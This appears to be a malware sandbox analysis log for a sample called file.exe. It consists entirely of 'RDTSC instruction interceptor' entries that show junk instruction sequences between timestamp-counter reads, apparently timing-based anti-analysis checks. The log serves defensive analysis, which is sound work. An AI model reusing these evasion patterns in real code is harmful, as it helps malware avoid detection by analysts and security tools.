Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACF3D second address: FACF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACF44 second address: FACF54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE0F4D44906h 0x0000000a jo 00007FE0F4D44906h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACF54 second address: FACF5D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACF5D second address: FACF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4D4490Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD08B second address: FAD09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD09D second address: FAD0C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE0F4D44911h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD0C6 second address: FAD0CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD242 second address: FAD24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD24A second address: FAD250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD3A9 second address: FAD3AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD69B second address: FAD69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD803 second address: FAD809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD809 second address: FAD843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB6h 0x00000009 jmp 00007FE0F4DC3CAEh 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FE0F4DC3CAEh 0x00000018 jng 00007FE0F4DC3CA6h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC79C second address: FAC7DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE0F4D4490Fh 0x0000000b jmp 00007FE0F4D4490Bh 0x00000010 popad 0x00000011 pushad 0x00000012 jng 00007FE0F4D4490Ah 0x00000018 pushad 0x00000019 jmp 00007FE0F4D44913h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB07DF second address: FB0816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB0h 0x00000009 jmp 00007FE0F4DC3CB0h 0x0000000e popad 0x0000000f jns 00007FE0F4DC3CACh 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0816 second address: FB081C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB081C second address: FB0827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE0F4DC3CA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23C9E second address: F23CAC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23CAC second address: F23CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9008 second address: FB9057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FE0F4D44913h 0x0000000f jmp 00007FE0F4D44919h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FE0F4D4490Ch 0x0000001b popad 0x0000001c jc 00007FE0F4D4490Eh 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9057 second address: FB905B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB91A5 second address: FB91C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FE0F4D44916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB95FB second address: FB95FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB95FF second address: FB9625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FE0F4D44924h 0x0000000c jmp 00007FE0F4D44918h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9625 second address: FB9650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007FE0F4DC3CA6h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE0F4DC3CB0h 0x00000018 js 00007FE0F4DC3CAEh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9650 second address: FB9656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9656 second address: FB9673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE0F4DC3CB7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9673 second address: FB9677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9677 second address: FB9699 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF67E second address: FBF685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF685 second address: FBF694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF694 second address: FBF69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE3AD second address: FBE3B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE3B1 second address: FBE3BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE0F4D44906h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE505 second address: FBE522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE522 second address: FBE526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE526 second address: FBE52A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE672 second address: FBE678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B5FB second address: F6B5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE944 second address: FBE965 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE0F4D4490Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FE0F4D44906h 0x00000013 jo 00007FE0F4D44906h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE965 second address: FBE983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CAFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE983 second address: FBE99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE0F4D44917h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF366 second address: FBF36A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF36A second address: FBF372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF372 second address: FBF378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF378 second address: FBF37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF37E second address: FBF382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF382 second address: FBF3B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44919h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jmp 00007FE0F4D4490Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2BD0 second address: FC2BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2BD6 second address: FC2BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2D6D second address: FC2DAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB6h 0x00000007 jnc 00007FE0F4DC3CACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FE0F4DC3CACh 0x00000017 pushad 0x00000018 push edx 0x00000019 pop edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2DAA second address: FC2DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC322C second address: FC3232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3232 second address: FC324C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 ja 00007FE0F4D44906h 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007FE0F4D44906h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC324C second address: FC3269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3269 second address: FC3277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE0F4D4490Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB572 second address: FCB57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9655 second address: FC9659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC97B2 second address: FC97B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC97B6 second address: FC97D7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE0F4D44917h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC97D7 second address: FC980D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 jnp 00007FE0F4DC3CB6h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FE0F4DC3CAEh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE0F4DC3CB5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC980D second address: FC9811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9811 second address: FC9817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA952 second address: FCA956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA956 second address: FCA97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE0F4DC3CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE0F4DC3CB6h 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA97B second address: FCA99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FE0F4D44914h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAC56 second address: FCAC7B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE0F4DC3CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FE0F4DC3CB6h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAC7B second address: FCAC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE51C second address: FCE522 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE522 second address: FCE52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE52B second address: FCE541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FE0F4DC3CAEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE6B3 second address: FCE6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE6B7 second address: FCE6C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE6C6 second address: FCE6CB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEE60 second address: FCEE77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FE0F4DC3CA6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f jg 00007FE0F4DC3CA6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEE77 second address: FCEE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEE7C second address: FCEE92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE0F4DC3CAEh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEE92 second address: FCEE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9A25 second address: FD9A38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B8F second address: FD9B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9E75 second address: FD9E8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9FDC second address: FD9FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA12E second address: FDA167 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB7h 0x00000007 jmp 00007FE0F4DC3CADh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA167 second address: FDA16B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA16B second address: FDA171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA2D5 second address: FDA2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA5C2 second address: FDA5D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CABh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA5D3 second address: FDA5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA5D7 second address: FDA5DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAFD1 second address: FDAFD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAFD9 second address: FDAFDF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB6C3 second address: FDB6FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE0F4D44917h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FE0F4D4491Ch 0x00000011 jmp 00007FE0F4D44916h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB6FC second address: FDB706 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE0F4DC3CB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB706 second address: FDB70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2E8C second address: FE2EAD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE0F4DC3CB7h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2EAD second address: FE2EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE0F4D44906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A1F second address: FE2A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE0F4DC3CA6h 0x0000000a pop edi 0x0000000b jns 00007FE0F4DC3CAAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2BB0 second address: FE2BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FE0F4D44906h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2BBD second address: FE2BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2BC1 second address: FE2BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE0F4D44906h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d js 00007FE0F4D44910h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
